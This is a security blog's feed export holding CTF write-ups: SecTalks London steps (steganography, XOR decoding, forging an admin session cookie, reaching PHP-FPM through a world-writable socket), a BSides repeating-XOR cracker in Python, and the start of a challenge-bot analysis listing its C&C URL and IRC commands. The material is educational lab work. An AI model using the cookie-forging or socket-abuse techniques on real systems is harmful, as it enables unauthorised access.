tag:blogger.com,1999:blog-51107499388493801052024-03-28T01:53:14.868+02:00Late night thoughts on securityInterest is a terrible thing to waste (Roger Schank)Unknownnoreply@blogger.comBlogger94125tag:blogger.com,1999:blog-5110749938849380105.post-10637989393394646402017-02-04T18:01:00.000+02:002017-03-23T01:16:56.490+02:00SecTalks LON: Ninja Night 0x05<div class="separator" style="clear: both; text-align: center;">
<a href="https://fennychandra.files.wordpress.com/2010/11/ninja-cat1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="158" src="https://fennychandra.files.wordpress.com/2010/11/ninja-cat1.jpg" width="200" /></a></div>
<br />
<br />
Last week I've been to the 5th <a href="http://www.sectalks.org/london/">SecTalks London meetup</a> and I'm proud to say I've learnt something that evening and wanted to say Thank you to the creator of the night's challenge - <b>@leigh</b>. I'll definitely be going again.<br />
<br />
<br />
Below is a write-up of my solution. Hopefully by now the details of the challenge are made public so if people are still working on this I won't spoil anyone's fun by publishing this.<br />
<h4>
<a name='more'></a></h4>
<h4>
Stage 0</h4>
The challenge is Christmas themed and starts at the North Pole:<br />
178.62.xx.xx/1.html<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;"><i><span style="font-family: "courier new" , "courier" , monospace;">'</span>While taking a well earned break at the Pole Star Tavern, you overhear a couple
of the local elves talking about some of the security improvements they've made
to Santa's distribution infrastructure this year.
</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>
</i></span><span style="font-family: "courier new" , "courier" , monospace;"><i>
Of particular interest to you is the digitisation of the naughty and nice lists,
you know you haven't exactly been on your best behaviour this year, perhaps
there is something you can do about that.
</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>
</i></span><span style="font-family: "courier new" , "courier" , monospace;"><i>
You snap out of your daydream to find them picking up the papers they've been
glossing over and making for the door. One of them drops something. When nobody
is looking you head over and pick it up.
</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>
</i></span><span style="font-family: "courier new" , "courier" , monospace;"><i>
It's a Christmas card with some writing on the front.
</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>
</i></span><span style="font-family: "courier new" , "courier" , monospace;"><i>
The writing looks like it's in some sort of code:
4cf2af119d84f698585ebf494c6ca6321d72eb211d44a49344f4f7393ca73194
</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>
</i></span><span style="font-family: "courier new" , "courier" , monospace;"><i>
There must be some more clues on the card!<span style="font-family: "courier new" , "courier" , monospace;">'</span></i></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVpZLqYZOV2JgSm3ufsrsCLkQ_XLkQvSyRvyFRqQ6mAUuFpaOjecYO9XhShvp2R5s_ZGR5z8wWygdSg-C05W2m1Fzux68-CRAhXtCZibZnyXR7p5C2UQZ79uNcB4zUcae5lH-2HxS3KbI/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVpZLqYZOV2JgSm3ufsrsCLkQ_XLkQvSyRvyFRqQ6mAUuFpaOjecYO9XhShvp2R5s_ZGR5z8wWygdSg-C05W2m1Fzux68-CRAhXtCZibZnyXR7p5C2UQZ79uNcB4zUcae5lH-2HxS3KbI/s320/1.png" width="256" /></a></div>
<br />
<br />
<br />
<h4>
Stage 1</h4>
The hint for this stage for "<i>Simple stego"</i>. I've first opened the image in Gimp and noticed there was an alpha channel. Unfortunately nothing really obvious here. Then I thought about varying colour intensity, a method used to enhance black and white images.<br />
<br />
In Gimp it is quite easy to <a href="https://docs.gimp.org/en/gimp-tool-threshold.html">vary the threshold</a>: <span style="font-family: "courier new" , "courier" , monospace;">Colours -> Threshold</span>. And <i>TA DA !</i><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs8Wc0hCLgKKuF0Y1P9TivDoT8eq5iXje3DujZ23jHWEtoKUtLxbg8MeUzjc3D7UeAwLZhorQS2J4udVhSmvAHU3aVKSLzMslARAcB9et9kaXEue-k7bkGMWGbRd0ag1dDlTPtOmdhUO0/s1600/1-dec.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs8Wc0hCLgKKuF0Y1P9TivDoT8eq5iXje3DujZ23jHWEtoKUtLxbg8MeUzjc3D7UeAwLZhorQS2J4udVhSmvAHU3aVKSLzMslARAcB9et9kaXEue-k7bkGMWGbRd0ag1dDlTPtOmdhUO0/s320/1-dec.png" width="256" /></a></div>
<br />
<h4>
Stage 2</h4>
We have some pseudo-code right here. Basically every character of the password was rotated left by its position and then XOR-ed with 42. So to get the initial password we need to apply the reverse operations: XOR then ROR (rotate right!):<br />
<br />
<pre class="brush:python;">import binascii
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
p = "4cf2af119d84f698585ebf494c6ca6321d72eb211d44a49344f4f7393ca73194"
v = binascii.unhexlify(p)
print [ ord(v[i]) for i in range(len(v))]
print "".join([ chr(ror(ord(v[i])^42,i,8)) for i in range(len(v))])
</pre>
<br />
Running this script we get the credentials for the next stage, accessible at 178.62.xx.xx:<br />
<br />
<div style="text-align: center;">
<b>flag{user:elf2207,pass:snow***}</b></div>
<br />
<h3>
Stage 3</h3>
Nothing interesting after logging in, just 2 list of names randomly changing.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYzBmilto8MxYxlzCyoj-Ldjjal156yjEQDCNusw1Wv1cvXzNba7qfWVUmjE7aXiKRBHSX7IEvdko9QqsRohtAcPnp4vO7NIP9hxwhetH13wms9B9zBziV1PjEeNuhbnvUzcEWbgfDkjk/s1600/lists.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="103" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYzBmilto8MxYxlzCyoj-Ldjjal156yjEQDCNusw1Wv1cvXzNba7qfWVUmjE7aXiKRBHSX7IEvdko9QqsRohtAcPnp4vO7NIP9hxwhetH13wms9B9zBziV1PjEeNuhbnvUzcEWbgfDkjk/s320/lists.png" width="320" /></a></div>
<br />
But there is a <i>cookie, </i>whose value is:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">ccYKPh4W%2BAEcJGLVIbhReh3q3cRXEARRll0DKGEkdNf%2BsWA%3D</span><br />
<br />
After URL-decoding it, we get a nice Base64 string:<br />
<span style="font-family: "courier new" , "courier" , monospace;">ccYKPh4W+AEcJGLVIbhReh3q3cRXEARRll0DKGEkdNf+sWA=</span><br />
<br />
Nothing obvious straight-away. But it becomes interesting if we corrupt the base64 data by removing 2 characters from the end for example. There is an error message displayed: <br />
<br />
<i>Corrupted session data: <b>{"user":"elf2207","is_admin":fals</b></i><br />
<br />
Probably we removed the last letter 'e' from the encrypted version of the cookie, that's why the error. By comparing the lengths of the decoded base64 and error message, we see they are the same. So the guess is that the session data is encrypted with a sort of <i>one-time-pad</i>. By now you already know what's coming next :)<br />
<br />
I've XOR-ed the decoded data with the plain-text message to get the key, then used the key to encrypt a new session data, containing the the value true for the "is_admin" property.<br />
<br />
<br />
<pre class="brush:python;">import base64
pt = '{"user":"elf2207","is_admin":false}'
print "[*] Decoded len: ", len(pt)
c = base64.b64decode("ccYKPh4W+AEcJGLVIbhReh3q3cRXEARRll0DKGEkdNf+sWA=")
print "[*] Decoded cookie len: ", len(c)
# Probably XORed with long one-time-pad. Get the key :D
k = [ord(a) ^ ord(b) for a,b in zip(pt, c)]
print "[*] XOR key: ", k
kStr = "".join([chr(n) for n in k])
# Encode desired cookie
pt2 = '{"user":"elf2207","is_admin":true}'
c2 = [ord(a) ^ ord(b) for a,b in zip(pt2, kStr[:len(pt2)])]
print "Admin cookie (to be url-encoded): ", base64.b64encode("".join([chr(n) for n in c2]))
# Test
c3 = base64.b64decode("ccYKPh4W+AEcJGLVIbhReh3q3cRXEARRll0DKGE2Z87oqQ==")
pt3 = [ord(a) ^ ord(b) for a,b in zip(kStr, c3)]
print "[*] Decoded test cookie: ", "".join([chr(n) for n in pt3])
</pre>
<br />
<h4>
Stage 4</h4>
Now we're in!<br />
<br />
<i>'After poking around for a while you realise that the system is fundamentally broken, and even admins cannot edit the naughty and nice lists!</i><br />
<i><br /></i>
<i>Determined to exploit the system you press on, and discover that the elf has SSH access to the system, with the credentials "elf2207" and the password "snow***"'</i><br />
<br />
Before exploiting anything we need to understand some concepts. The machine is a Debian 8 system:<br />
<br />
<pre class="brush:bash;">elf2207@grot0:~$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debian
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
elf2207@grot0:~$ uname -a
Linux grot0 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64 GNU/Linux
elf2207@grot0:~$
</pre>
<br />
<a href="https://en.wikipedia.org/wiki/Nginx">Nginx</a> web server is running, and by looking in the configuration files we see that it will pass <a href="https://en.wikipedia.org/wiki/FastCGI">FastCGI</a> requests through a pipe, which will be executed by php-fm.<br />
<br />
<pre class="brush:bash;highlight: [6]"> location ~ ^/index.php$ {
fastcgi_param SCRIPT_FILENAME /home/webuser/index.php;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param REQUEST_URI $request_uri;
fastcgi_pass unix:/var/run/php-fpm.sock;
}
</pre>
<br />
Going back to the login message, I remembered there was something about <span style="font-family: "courier new" , "courier" , monospace;">/home/webuser</span> directory:<br />
<br />
<pre class="brush:bash;">$ cat /etc/motd
This system is poorly configured. You figure that the data you want must be in the /home/webuser directory.
</pre>
<br />
Unfortunately we don't have read permissions to that folder:<br />
<pre class="brush:bash;">drwxr-x--- 3 webuser webuser 4096 Jan 26 20:30 webuser
</pre>
<br />
But someone else has - php-fm. To understand a bit more what's happening, Nginx is sending requests to the socket file defined in sites-available configuration file and php-fpm is picking them up and executing them:<br />
<br />
<b>Browser -> nginx -> (FastCGI) -> PHP-FPM</b> <br />
<br />
The configuration file for php-fm is readable at /usr/local/etc/php-fpm.d/www.conf. Remember the Message of the Day mentioned a <i>'poorly configured'</i> system.The culprit is actually in the <b><i>insecure permissions for the socket </i></b>used by nginx to send commands to php-fm:<br />
<br />
<br />
<pre class="brush:bash;">listen = /var/run/php-fpm.sock
listen.mode = 0666
</pre>
<br />
This makes the socket world writeable! In fact it should be readable/writeable only by the nginx user. So we can actually send commands to php-fm ourselves, that is if we first find out how to communicate with it.<br />
<br />
[...]<br />
<br />
<pre class="brush:bash;">REQUEST_METHOD=GET SCRIPT_FILENAME= /home/elf2207/hello.php cgi-fcgi -bind -connect /var/run/php-fpm.sock
X-Powered-By: PHP/7.2.0-dev
Content-type: text/html; charset=UTF-8
Well that was easy wasn't it :)
Have a cookie!
</pre>
There are a few minor obstacles here, like not being able to compile stuff on the box (missing GCC) on install apps (no sudo, obviously:) but I'll let you figure out how to overcome them. It shouldn't be too difficult.<br />
<br />
<h4>
References</h4>
<br />
<br />
<b>PHP-FM Architecture </b><br />
<a href="https://serversforhackers.com/video/php-fpm-configuration-the-listen-directive">https://serversforhackers.com/video/php-fpm-configuration-the-listen-directive</a><br />
<br />
<b>Directly connecting to PHP-FPM</b><br />
<a href="https://www.thatsgeeky.com/2012/02/directly-connecting-to-php-fpm/">https://www.thatsgeeky.com/2012/02/directly-connecting-to-php-fpm/</a><br />
<a href="http://stackoverflow.com/questions/16561826/communication-with-php-fastcgi-socket-from-ruby">http://stackoverflow.com/questions/16561826/communication-with-php-fastcgi-socket-from-ruby</a><br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-69480980982399719332014-04-09T23:25:00.001+03:002014-04-09T23:48:19.752+03:00BSides London 2014 - The Geo-Cracker challengeThe description of this challenge can be found on <a href="https://www.securitybsides.org.uk/challenge3.html">BSides website</a>. The mission is to crack the encryption algorithm and build a fast decryptor.<br />
<br />
The encryption is described in the following python code:<br />
<pre class="brush:python;">#!/usr/bin/env python
import hashlib
import sys
import base64
pin = sys.argv[1]
code = sys.argv[2]
#code = open(sys.argv[2]).read().strip()
#print "Code: ", code
hashofpass = hashlib.sha1(pin).hexdigest()[:16]
LEN = len(hashofpass)
#print hashofpass
previous = ''
result = ""
for i in range(0,len(code)):
nexta = ''
if(previous == ''):
nexta = chr(ord(code[i]) ^ ord(hashofpass[i % LEN]))
else:
nexta = chr(ord(code[i]) ^ ord(hashofpass[i % LEN]) ^ ord(previous))
previous = nexta
result += nexta
print base64.b64encode(result)
</pre>
<br />
Some remarks from the previous code:<br />
<ul>
<li>The length of the XOR key is always 16</li>
<li>The character set of the key is [0..f]</li>
<li>We also know the character set of the message ([0..9-,. ])</li>
<li>More than one key can decrypt an encrypted text into a plain text in this rang<i>e!</i> </li>
<li>Even if it might not be obvious at first, this algorithm is actually a repetitive XOR with a 16 bytes key - simple<i>!</i> </li>
</ul>
The following short function transforms a text encrypted by this algorithm into a repetitive XOR encryption:<br />
<pre class="brush:python;"># Transform input into repeating-key XOR
def transXOR(enc):
enc = base64.b64decode(enc)
enc2 = [ascii_d[c] for c in enc]
result = [ascii_c[enc2[i] ^ enc2[i-1]]
for i in xrange(len(enc2)-1, 0, -1)][::-1]
result = ascii_c[enc2[0]] + "".join(result)
# print base64.b64encode(result)
return result
</pre>
Each block, starting from the last to second, is XOR-ed with the previous one.<br />
<br />
The following script solves this problem, and also validates the results and fixes possible errors in decryption, where multiple keys produce valid plaintexts.<br />
<pre class="brush:python;">#!/usr/bin/env python
import string
import base64
import sys
import re
# Example of input:
# "BgAbHU8bSx5JBBEbV1haCwkNDhxLHlUFUwIOA1RBRAsJCwsOVQJHEkYJBgZUVVIHGwAHG0EWRBJOFw8AU0RCGhkdGhBeEUcKWwkFC15VQBQQCAsIXA1dDEQVAwpfVFICEhETD14EVgVUAhYfU1xfDAsODx1KGVIGWwMLAFNGXg4QEBMVRBFMD14PGRhPREkYHwUBHU8UQRJCEgoGVkFFFx4eGhtVGk4DXwgBCl5fSh4YAAIIUwBUBk4CCxxGTkIaHxEEA1EdShpPHBwTXUlOAQEGBg1dB0IVSAcHDF9UVgAcBwYaTRxKH0Ib"
Debug = False
data = sys.argv[1]
charset = "0123456789-,. "
key_charset = "0123456789abcdef"
key_charset2 = [ord(c) for c in key_charset]
keysize = 16
ascii_c = ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '\xa1', '\xa2', '\xa3', '\xa4', '\xa5', '\xa6', '\xa7', '\xa8', '\xa9', '\xaa', '\xab', '\xac', '\xad', '\xae', '\xaf', '\xb0', '\xb1', '\xb2', '\xb3', '\xb4', '\xb5', '\xb6', '\xb7', '\xb8', '\xb9', '\xba', '\xbb', '\xbc', '\xbd', '\xbe', '\xbf', '\xc0', '\xc1', '\xc2', '\xc3', '\xc4', '\xc5', '\xc6', '\xc7', '\xc8', '\xc9', '\xca', '\xcb', '\xcc', '\xcd', '\xce', '\xcf', '\xd0', '\xd1', '\xd2', '\xd3', '\xd4', '\xd5', '\xd6', '\xd7', '\xd8', '\xd9', '\xda', '\xdb', '\xdc', '\xdd', '\xde', '\xdf', '\xe0', '\xe1', '\xe2', '\xe3', '\xe4', '\xe5', '\xe6', '\xe7', '\xe8', '\xe9', '\xea', '\xeb', '\xec', '\xed', '\xee', '\xef', '\xf0', '\xf1', '\xf2', '\xf3', '\xf4', '\xf5', '\xf6', '\xf7', '\xf8', '\xf9', '\xfa', '\xfb', '\xfc', '\xfd', '\xfe', '\xff']
ascii_d = {}
for c in ascii_c:
ascii_d[c] = ord(c)
def printd(s):
if Debug:
print s
# Transform input into repeating-key XOR
def transXOR(enc):
enc = base64.b64decode(enc)
enc2 = [ascii_d[c] for c in enc]
result = [ascii_c[enc2[i] ^ enc2[i-1]]
for i in xrange(len(enc2)-1, 0, -1)][::-1]
result = ascii_c[enc2[0]] + "".join(result)
# print base64.b64encode(result)
return result
# Used below for single-char key xor decoding
def transpose(blocks):
len_b = len(blocks)
len_b0 = len(blocks[0])
t = [[blocks[j][i] for j in xrange(len_b)]
for i in xrange(len_b0)]
return t
def isGood(text):
text2 = [ascii_d[c] for c in text]
# Score: number of valid characters
for o in text2:
if o > 57:
return 0
if o < 44:
if o == 32:
continue
else:
return 0
if o == 47:
return 0
return 1
# Check for possible errors in the decrypted coordinates
# Returns position of the invalid character
def check(coords):
inv_pos = string.find(coords, '=')
if -1 != inv_pos:
return inv_pos % keysize
inv_pos = string.find(coords, ';')
if -1 != inv_pos:
return inv_pos % keysize
inv_pos = string.find(coords, '/')
if -1 != inv_pos:
return inv_pos % keysize
inv_pos = string.find(coords, '--')
if -1 != inv_pos:
# Condition needed
return inv_pos % keysize
inv_pos = string.find(coords, ',,')
if -1 != inv_pos:
return (inv_pos + 1) % keysize
inv_pos = string.find(coords, ' ,')
if -1 != inv_pos:
return (inv_pos + 1) % keysize
inv_pos = string.find(coords, ' .')
if -1 != inv_pos:
if coords[inv_pos+2] in list("0123456789"):
return (inv_pos + 1) % keysize
m = re.search('\d\-\d', coords)
if m:
inv_pos = string.find(coords, m.group(0))
if coords[inv_pos-1] in list("0123456789"):
return (inv_pos + 1) % keysize
# ,80,
m = re.search(',\d\d,', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 3) % keysize
# .21.
m = re.search('\.\d\d\.', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos) % keysize
# 7,.3
m = re.search('\d,\.\d', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 2) % keysize
# ,-60,
m = re.search(',-\d\d,', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 4) % keysize
# -73,
m = re.search('-\d\d,', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 3) % keysize
# -61-
m = re.search('-\d\d-', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 3) % keysize
# -04.
m = re.search('-0\d\.', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 1) % keysize
# 03.
m = re.search('^0\d.', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos) % keysize
#,..
if coords[0] == ',':
return 0
# 2,6199
m = re.search('\d,\d\d\d\d', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 1) % keysize
inv_pos = string.find(coords, '.-')
if -1 != inv_pos:
pos = string.find(coords, '.', inv_pos + 1)
if pos-inv_pos > 6:
return (inv_pos + 1) % keysize
else:
return inv_pos % keysize
return -1
# Decrypt/encrypt function are the same
def rxor(text, key):
text2 = [ascii_d[c] for c in text]
key2 = [ascii_d[c] for c in key]
len_k = 16 # len(key)
len_t = len(text)
dec = [ascii_c[text2[i] ^ key2[i % len_k]] for i in xrange(0, len_t)]
return "".join(dec)
if __name__ == "__main__":
enc = transXOR(data)
k = [0] * keysize
blocks = [enc[i: i+keysize] for i in xrange(0, len(enc), keysize)]
# Transpose the blocks and find the key for each transposed block
# Leave the last incomplete block for easier calculations
t_blocks = transpose(blocks[:len(blocks)-1])
# all possible values for each byte of the key
all_keys = []
for i in xrange(keysize):
b = t_blocks[i]
b2 = [ascii_d[c] for c in b]
d = {}
keys_b = []
for key in key_charset2:
dec = "".join([ascii_c[c ^ key] for c in b2])
ok = isGood(dec)
if ok:
d[dec] = key
keys_b = [d[w] for w in d]
all_keys.append(keys_b)
# Take the first possible value. Check later!
k[i] = keys_b[0]
k = "".join([ascii_c[c] for c in k])
coords = rxor(enc, k)
while 1:
inv = check(coords)
if -1 == inv:
break
all_keys[inv].remove(all_keys[inv][0])
k = k[:inv] + ascii_c[all_keys[inv][0]] + k[inv+1:]
coords = rxor(enc, k)
print coords.split(' ')[3] # Original message
'''
To profile the code:
python -m cProfile -s time ./decode.py BgQaGRYXFxVAVBtERA8EAAICBw0bGhwEVVwNWFQIHR8eBAADBgkICE1YAlRCFBsaHxMWCBMZHwdaVgZQXgsSCQkKFBIRGhgaTVkDXEoYGBscGh8NFhkfB1ZfBFpbBhMICAsVFhMYHRhPVxhJSAMDDAoNBQAaEwsIXVMCVl8aGhQLDgwMAgoEHlZXAUlCHh8cDQ4IFBccHB5CSAZNTBsMCw4CAQYCGh4eVVkCUVoLCxENDA4SEhoVFkFBA0hCCQMNDwwODBYDBABLQRRAQRYWABwQEAwPAAMDX1cZUlwPGBwYGB8eEAgTEkFXDVlXBggOEwoNERIYGxxB
'''
</pre>
<br />
The algorithm is generic and can be applied to decrypt any repetitive XOR encrypted text.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-84701987853637911652014-04-09T00:15:00.001+03:002014-04-09T00:16:25.876+03:00BSides London 2014 - The Bot Hunter challengeThe description for the challenge can be found on <a href="https://www.securitybsides.org.uk/challenge1.html">BSides website</a>. The mission, as described there is <i>"to investigate the executable and discover the bot’s command and control (C&C) infrastructure. Using the information you find, gain control of the botnet and shut it down". </i>Sounds interesting :)<br />
<style type="text/css">H3 { margin-bottom: 0.21cm; }H3.western { font-family: "Liberation Sans",sans-serif; }H3.ctl { font-family: "Lohit Hindi"; }H2 { margin-bottom: 0.21cm; }H2.western { font-family: "Liberation Sans",sans-serif; font-size: 14pt; font-style: italic; }H2.cjk { font-size: 14pt; font-style: italic; }H2.ctl { font-family: "Lohit Hindi"; font-size: 14pt; font-style: italic; }H1 { margin-bottom: 0.21cm; }H1.western { font-family: "Liberation Sans",sans-serif; font-size: 16pt; }H1.cjk { font-family: "DejaVu Sans"; font-size: 16pt; }H1.ctl { font-family: "Lohit Hindi"; font-size: 16pt; }P { margin-bottom: 0.21cm; }A:link { }</style>
<br />
<br />
<h1 class="western">
1 General
static analysis</h1>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__580_1335217533"></a> 1.1 PE
file analysis</h2>
<div style="margin-bottom: 0cm;">
The PEiD tool does not find the bot to
be packed in normal scanning mode:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi37TULWouVR5rmWNBelz1rBzTQ9k2OFU8F6Rk94b9aK6jmvjskUUFMuOprZzSMt2jmrBHN2q9t7SQnnoYDeH9Tb7E9-NkpHLKLsZ2VQz3rKsf4eYHyXUt-0q60zwN2G5AEy15tyj2WuQc/s1600/peid-normal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi37TULWouVR5rmWNBelz1rBzTQ9k2OFU8F6Rk94b9aK6jmvjskUUFMuOprZzSMt2jmrBHN2q9t7SQnnoYDeH9Tb7E9-NkpHLKLsZ2VQz3rKsf4eYHyXUt-0q60zwN2G5AEy15tyj2WuQc/s1600/peid-normal.png" height="177" width="320" /></a></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span id="goog_1733866925"></span><span id="goog_1733866926"></span></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
But if we change to Deep Scan or
Hardcore Scan:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBeNDHV-GdW99_D_BdpFO82O0quVAl624K_iAKSjU7D4SvC5g6KGANt-R7dT-bTUcSWegS0HUdauW5Ah5cZMHh2uaDskeaSuIzwP2t4He00FiZ3y-2s3C1BVcLXdj9162v3EEt9BYNyE8/s1600/peid-deep.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBeNDHV-GdW99_D_BdpFO82O0quVAl624K_iAKSjU7D4SvC5g6KGANt-R7dT-bTUcSWegS0HUdauW5Ah5cZMHh2uaDskeaSuIzwP2t4He00FiZ3y-2s3C1BVcLXdj9162v3EEt9BYNyE8/s1600/peid-deep.png" height="181" width="320" /></a></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
We can successfully unpack the bot:</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">$
upx -d -v bot.exe -o bot_unpacked.exe </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">Ultimate
Packer for eXecutables </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">Copyright
(C) 1996 - 2011 </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">UPX
3.08 Markus Oberhumer, Laszlo Molnar & John Reiser Dec
12th 2011 </span>
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">File
size Ratio Format Name </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">--------------------
------ ----------- ----------- </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">65536
<- 33280="" 50.78="" bot_unpacked.exe="" font="" pe="" win32="">
<!-----></-></span></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__582_1335217533"></a> 1.2 Strings
</h2>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
If we use the <a href="http://technet.microsoft.com/en-gb/sysinternals/bb897439.aspx">strings</a>
tool on the unpacked binary we get some interesting information:</div>
<ul>
<li><div style="margin-bottom: 0cm;">
Addresses of IRC servers the bot
will try to connect</div>
</li>
<li><div style="margin-bottom: 0cm;">
Another link where the bot
retrieves some information from (channel name)</div>
</li>
<li><div style="margin-bottom: 0cm;">
The channel (and password) that
the bot will join</div>
</li>
<li><div style="margin-bottom: 0cm;">
Other IRC related commands and
responses</div>
</li>
<li><div style="margin-bottom: 0cm;">
A strange string which may be a
potential password ('<span style="font-weight: normal;"><b><i>HCNFJT@</i></b>'</span>)</div>
</li>
<li><div style="font-weight: normal; margin-bottom: 0cm;">
References to
anti-debug measures</div>
</li>
<li><div style="font-weight: normal; margin-bottom: 0cm;">
High level
functions to access Internet resources</div>
</li>
</ul>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<b>http://ghowen.me/malfor/cnc.php?id= </b>
</div>
<div style="margin-bottom: 0cm;">
&uid=
</div>
<div style="margin-bottom: 0cm;">
6667
</div>
<div style="margin-bottom: 0cm;">
malfor
</div>
<div style="margin-bottom: 0cm;">
%s%d
</div>
<div style="margin-bottom: 0cm;">
misery mystery
</div>
<div style="margin-bottom: 0cm;">
USER %s 0 * :%s
</div>
<div style="margin-bottom: 0cm;">
NICK %s
</div>
<div style="margin-bottom: 0cm;">
<b>Anti-debug </b>
</div>
<div style="margin-bottom: 0cm;">
No malware here, honest guv!
</div>
<div style="margin-bottom: 0cm;">
PING
</div>
<div style="margin-bottom: 0cm;">
Resistance is futile
</div>
<div style="margin-bottom: 0cm;">
<b>bubblegum</b>
</div>
<div style="margin-bottom: 0cm;">
MODE %s +i
</div>
<div style="margin-bottom: 0cm;">
JOIN %s %s
</div>
<div style="margin-bottom: 0cm;">
MODE %s +k %s
</div>
<div style="margin-bottom: 0cm;">
TOPIC %s :%s
</div>
<div style="margin-bottom: 0cm;">
PRIVMSG
</div>
<div style="margin-bottom: 0cm;">
hello
</div>
<div style="margin-bottom: 0cm;">
PRIVMSG %s :Hi %s, I'm a bot that's
part of the BSides London Challenge.
</div>
<div style="margin-bottom: 0cm;">
IDENT
</div>
<div style="margin-bottom: 0cm;">
PRIVMSG %s :%s / %s
</div>
<div style="margin-bottom: 0cm;">
SHUTDOWN
